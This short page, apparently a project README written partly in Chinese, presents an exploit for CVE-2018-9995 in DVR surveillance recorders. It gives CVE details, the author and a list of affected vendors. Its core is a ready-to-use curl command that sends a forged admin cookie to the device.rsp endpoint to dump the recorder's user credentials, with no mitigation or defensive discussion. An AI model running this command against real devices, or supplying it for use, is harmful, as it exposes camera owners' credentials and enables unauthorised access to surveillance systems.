CVE-2018-9995 Get DVR Credentials Exploit 国外的一款监控设备漏洞利用程序。

- [*] Exploit Title: "Gets DVR Credentials"
- [*] CVE: CVE-2018-9995
- [*] CVSS Base Score v3: 7.3 / 10
- [*] CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- [*] Date: 09/04/2018
- [*] Exploit Author: Fernandez Ezequiel ( twitter:@capitan_alfa )
Exploit:
- $> curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"
DVR测试厂商
- Novo
- CeNova
- QSee
- Pulnix
- XVR 5 in 1 (title: "XVR Login")
- Securus, - Security. Never Compromise !! -
- Night OWL
- DVR Login
- HVR Login
- MDVR Login
漏洞测试

项目地址